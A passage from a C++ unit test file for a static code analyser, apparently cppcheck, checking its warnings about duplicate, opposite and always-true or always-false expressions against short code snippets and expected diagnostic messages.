f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. 